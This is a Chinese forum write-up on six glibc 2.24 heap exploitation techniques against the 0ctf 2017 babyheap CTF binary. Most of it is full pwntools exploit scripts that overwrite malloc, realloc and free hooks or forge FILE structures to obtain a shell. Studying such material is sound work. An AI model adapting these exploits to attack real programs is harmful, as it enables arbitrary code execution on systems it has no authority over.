首页
论坛
课程
招聘
[原创]堆的六种利用手法
2018-9-11 23:36 14145

[原创]堆的六种利用手法

2018-9-11 23:36
14145

前言

忙恶心的工程实训,还耽误校招,只能说学校zz。
上次参加网鼎杯线下赛因为利用手法单一,libc版本太老无法本地调试且,one_gadget失效被打爆。
痛定思痛,回顾学习以下堆利用能够使用的常见方法。使用程序为0ctf2017的babyheap程序,libc为2.24版本。

程序分析

程序保护


程序开启了全保护。

程序功能


完整菜单,有alloc,fill,show,free功能。

alloc功能,可以申请16个大小不大于4096字节的堆块。
使用calloc分配。

fill功能,存在明显漏洞点,可进行任意字节的输入。堆溢出

free功能,free指定索引堆,并清除悬挂指针无漏洞。

show功能,使用write函数输出,不用考虑0字节截断问题。

漏洞分析

漏洞成因

堆漏洞利用的原因大部分都出在能够对free后的堆块进行写入,程序存在明显的堆溢出漏洞。堆溢出可以造成很多的问题,此题可以直接溢出向之后free状态的堆块进行写入会带来无穷无尽的安全问题。
通过堆溢出我们可以实现多种多样的利用手法。

信息泄露

程序使用calloc进行堆的分配。calloc同malloc类似只是会将申请到的堆块内容清0。所以常规的unsorted bin信息泄露的方式不可行。需要使用堆溢出进行配合
程序使用calloc进行堆的分配,



之后free堆块2,再申请一个0x60大小的堆块就可以通过show堆块3来泄露出libc的地址


漏洞利用

malloc_hook

最常见也是最容易的一种堆利用方法。
malloc函数会首先检查malloc_hook的值,若不为0则会调用他。若我们能通过内存写入malloc_hook即可实现任意地址跳转
通过fastbin_attack攻击malloc_hook。首先观察malloc_hook上方数据

fastbin在分配时并不检查对齐情况,将fastbin的fd设置为__malloc_hook-0x23,触发fastbin attack分配得到malloc_hook上方内存空间,向malloc_hook进行写入one_gadget得到权限。
脚本:

from pwn import *
p=process('./0ctf111')
e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')

p.readuntil('Command:')
context(log_level='debug')
def alloc(a):
	p.writeline('1')
	p.readuntil('Size:')
	p.writeline(str(a))
	p.readuntil('Command:')
def update(a,b,c):
	p.writeline('2')
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Size:')
	p.writeline(str(b))
	p.readuntil('Content:')
	p.write(c)
	p.readuntil('Command:')
def dele(a):	
	p.writeline('3')	
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Command:')

alloc(0x60) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)
update(2,len(payload),payload)
dele(3)
alloc(0x60)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
print hex(libc)

sys=libc+e.symbols['system']
re_hook=libc+e.symbols['__realloc_hook']
mac_hook=libc+e.symbols['__malloc_hook']
realloc=libc+e.symbols['__libc_realloc']
io_list=libc+e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x60)#6
dele(4)
payload=p64(mac_hook-0x23)
update(6,len(payload),payload)
alloc(0x60)#4
alloc(0x60)#7
payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook
#payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)
update(7,len(payload),payload)
success(hex(mac_hook))
success(hex(realloc))
gdb.attach(p)
p.interactive()

realloc_hook

一种很巧妙的利用方法。有些情况下one_gadget因为环境原因全部都不可用,这时可以通过realloc_hook来调整堆栈环境使one_gadget可用。
realloc函数在函数起始会检查realloc_hook的值是否为0,不为0则跳转至realloc_hook指向地址。
realloc_hook同malloc_hook相邻,故可通过fastbin attack一同修改两个值。
观察一下realloc_hook值不为0时realloc函数过程。


流程为push寄存器,最后全部pop出来跳转至realloc_hook的值。
将realloc_hook设置为选择好的one_gadget,将malloc_hook设置为realloc函数开头某一push寄存器处。push和pop的次数是一致的,若push次数减少则会压低堆栈,改变栈环境。这时one_gadget就会可以使用。具体要压低栈多少要根据环境决定,这里我们可以进行小于48字节内或72字节的堆栈调整。

脚本:开始的函数一致。不再重复

alloc(0x60) #0
alloc(0x60) #1
alloc(0x60) #2
alloc(0x60) #3
alloc(0x60) #4
alloc(0x60) #5

payload='a'*96+p64(0x00)+chr(0xe1)
update(2,len(payload),payload)
dele(3)
alloc(0x60)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
print hex(libc)

sys=libc+e.symbols['system']
re_hook=libc+e.symbols['__realloc_hook']
mac_hook=libc+e.symbols['__malloc_hook']
realloc=libc+e.symbols['__libc_realloc']
io_list=libc+e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
alloc(0x60)#6

dele(4)
payload=p64(mac_hook-0x23)
update(6,len(payload),payload)
alloc(0x60)#4
alloc(0x60)#7
#payload='a'*0x13+p64(libc+0x3f33a) //malloc_hook
payload='a'*0xb+p64(libc+0x3f33a)+p64(realloc+2)
update(7,len(payload),payload)
success(hex(mac_hook))
success(hex(realloc))
gdb.attach(p)
p.interactive()

free_hook

同malloc_hook类似,在调用free函数时会先检验free_hook的值。
但是free_hook上方都是0字节。不能直接通过fastbin_attack进行攻击,可以通过修改top
free_hook上方,之后申请内存至free_hook修改为system地址。
fastbin数组在top chunk指针上方。可以通过free fastbin chunk修改fastbin数组的值使的fastbin attack可以实现。 存在限制要求堆的地址以0x56开头

脚本:

alloc(0x40) #0
alloc(0x40) #1
alloc(0x40) #2
alloc(0x40) #3
alloc(0x40) #4
alloc(0x40) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*64+p64(0x00)+chr(0xa1)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x40)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
free_hook=libc+e.symbols['__free_hook']
print hex(libc)
alloc(0x40)
dele(6)
payload=p64(libc+0x398B35-0x8)

update(4,len(payload),payload)
alloc(0x40)

success(hex(libc+0x398B35-0x8))

alloc(0x40)
payload='a'*0x1b+p64(free_hook-0xb58)+'aaa'
update(8,len(payload),payload)
for i in range(0,6):
	alloc(0x200)
system=libc+e.symbols['system']
payload=chr(0)*0xf8+p64(system)
update(14,len(payload),payload)
success(hex(libc+0x398B00))
success(hex(free_hook))

p.interactive()

利用io_overflow

house of orange的升级版本,在libc2.24以上的版本,对于文件结构的虚表存在限制,不能像之前一样修改虚表为堆地址实现。
但是可以借助已经存在的虚表IO_str_jumps
结构如下
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};
其中_IO_str_overflow函数会调用文件对象fd+0xe0处的地址。
在house of orange的基础上进行更新,将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用。
脚本:

alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
io_list_all_addr = libc + e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
file_struct=p64(0)+p64(0x61)+p64(libc)+p64(io_list_all_addr - 0x10)+p64(2)+p64(3)
file_struct = file_struct.ljust(0xd8, "\x00")
file_struct += p64(jump_table_addr)
file_struct += p64(libc + 0x3f33a)

alloc(0x90)
dele(6)
payload='a'*0x90+file_struct
update(3,len(payload),payload)
gdb.attach(p)
p.interactive()

利用io_finish

同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
相较io_overflow不会有one_gadget不可用的情况。
脚本:

from pwn import *
p=process('./0ctf111')
e=ELF('/lib/x86_64-linux-gnu/libc-2.24.so')
def pack_file(_flags = 0,
              _IO_read_ptr = 0,
              _IO_read_end = 0,
              _IO_read_base = 0,
              _IO_write_base = 0,
              _IO_write_ptr = 0,
              _IO_write_end = 0,
              _IO_buf_base = 0,
              _IO_buf_end = 0,
              _IO_save_base = 0,
              _IO_backup_base = 0,
              _IO_save_end = 0,
              _IO_marker = 0,
              _IO_chain = 0,
              _fileno = 0,
              _lock = 0,
              _wide_data = 0,
              _mode = 0):
	file_struct = p32(_flags) + \
	     p32(0) + \
	     p64(_IO_read_ptr) + \
	     p64(_IO_read_end) + \
	     p64(_IO_read_base) + \
	     p64(_IO_write_base) + \
	     p64(_IO_write_ptr) + \
	     p64(_IO_write_end) + \
	     p64(_IO_buf_base) + \
	     p64(_IO_buf_end) + \
	     p64(_IO_save_base) + \
	     p64(_IO_backup_base) + \
	     p64(_IO_save_end) + \
	     p64(_IO_marker) + \
	     p64(_IO_chain) + \
	     p32(_fileno)
	file_struct = file_struct.ljust(0x88, "\x00")
	file_struct += p64(_lock)
	file_struct = file_struct.ljust(0xa0, "\x00")
	file_struct += p64(_wide_data)
	file_struct = file_struct.ljust(0xc0, '\x00')
	file_struct += p64(_mode)
	file_struct = file_struct.ljust(0xd8, "\x00")
	return file_struct


p.readuntil('Command:')
context(log_level='debug')
def alloc(a):
	p.writeline('1')
	p.readuntil('Size:')
	p.writeline(str(a))
	p.readuntil('Command:')
def update(a,b,c):
	p.writeline('2')
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Size:')
	p.writeline(str(b))
	p.readuntil('Content:')
	p.write(c)
	p.readuntil('Command:')
def dele(a):	
	p.writeline('3')	
	p.readuntil('Index:')
	p.writeline(str(a))
	p.readuntil('Command:')

alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5
alloc(0x60)
alloc(0x60)
dele(6)
payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
io_list_all_addr = libc + e.symbols['_IO_list_all']
jump_table_addr = libc + e.symbols['_IO_file_jumps'] + 0xc0
binsh_addr=libc+0x1618b9
file_struct = pack_file(_flags = 0,
                        _IO_read_ptr = 0x61, 
                        _IO_read_base = io_list_all_addr-0x10, 
                        _IO_write_base = 0,
                        _IO_write_ptr = 1,
                        _IO_buf_base = binsh_addr,
                        _mode = 0,
                        )

file_struct += p64(jump_table_addr-0x8)+p64(0)
file_struct += p64(libc + e.symbols['system'])
alloc(0x90)
dele(6)
payload='a'*0x90+file_struct
update(3,len(payload),payload)
success(hex(jump_table_addr-0x8))

p.interactive()

large bin attack修改free_hook

原理同0ctf heapstorm类似,unsorted bin链表卸载转移到large bin时会有两次的内存写操作,将内存写入自己堆块的地址。利用这两次写伪造出一个在free_hook上方的chunk,并使unsorted bin的bk指针指向这个伪造的chunk。再次分配即可分配到free_hook上方任意地址。

之前分析过可以参考博客http://www.pwndog.top/2018/07/27/0ctf-heapstorm%E7%AC%94%E8%AE%B0/

http://www.pwndog.top/2018/07/24/malloc%E5%87%BD%E6%95%B0%E6%BA%90%E7%A0%81%E7%AC%94%E8%AE%B0/
脚本:

alloc(0x90) #0
alloc(0x90) #1
alloc(0x90) #2
alloc(0x90) #3
alloc(0x90) #4
alloc(0x90) #5


payload='a'*0x90+p64(0x00)+p64(0x141)
payl='/bin/sh'+chr(0)
update(0,len(payl),payl)
update(2,len(payload),payload)
dele(3)
alloc(0x90)#3

p.writeline('4')
p.readuntil('Index:')
p.writeline('4')
p.readuntil('Content: \n')
libc=u64(p.read(6)+chr(0)*2)-0x398B58
free_hook=libc+e.symbols['__free_hook']
alloc(0x90)
dele(0)
dele(1)
dele(2)
dele(3)
dele(4)
dele(5)
alloc(0x20)
alloc(0x510)
alloc(0x20)
alloc(0x520)
alloc(0x20)

dele(1)

alloc(0x600)
payload='a'*0x20+p64(0)+p64(0x511)+p64(0)+p64(free_hook-0x20+0x8)+p64(0)+p64(free_hook-0x45+0x8)
dele(3)

update(0,len(payload),payload)


payload='a'*0x20+p64(0)+p64(0x521)+p64(0)+p64(free_hook-0x20)
update(2,len(payload),payload)
success(hex(free_hook))
system=libc+e.symbols['system']
alloc(0x40)
payload='/bin/sh'+chr(0)*9+p64(system)
update(3,len(payload),payload)
p.interactive()

结语

最后写的越来越累,写脚本时很爽,但是描述起来太麻烦。稍有偷懒以后有时间再编辑。


《0day安全 软件漏洞分析技术(第二版)》第三次再版印刷预售开始!

最后于 2019-1-28 14:30 被admin编辑 ,原因:
上传的附件:
收藏
点赞3
打赏
分享
打赏 + 1.00
打赏次数 1 金额 + 1.00
 
赞赏  junkboy   +1.00 2018/09/15
最新回复 (2)
雪    币: 281
活跃值: 活跃值 (1714)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 活跃值 8 2018-9-21 21:03
2
0
图片丢失了,能否重传一下?
雪    币: 205
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
wood1314 活跃值 2020-2-14 18:04
3
0
很棒,对我帮助很大,以前就是用malloc_hook并不知道free_hook的利用方法
游客
登录 | 注册 方可回帖
返回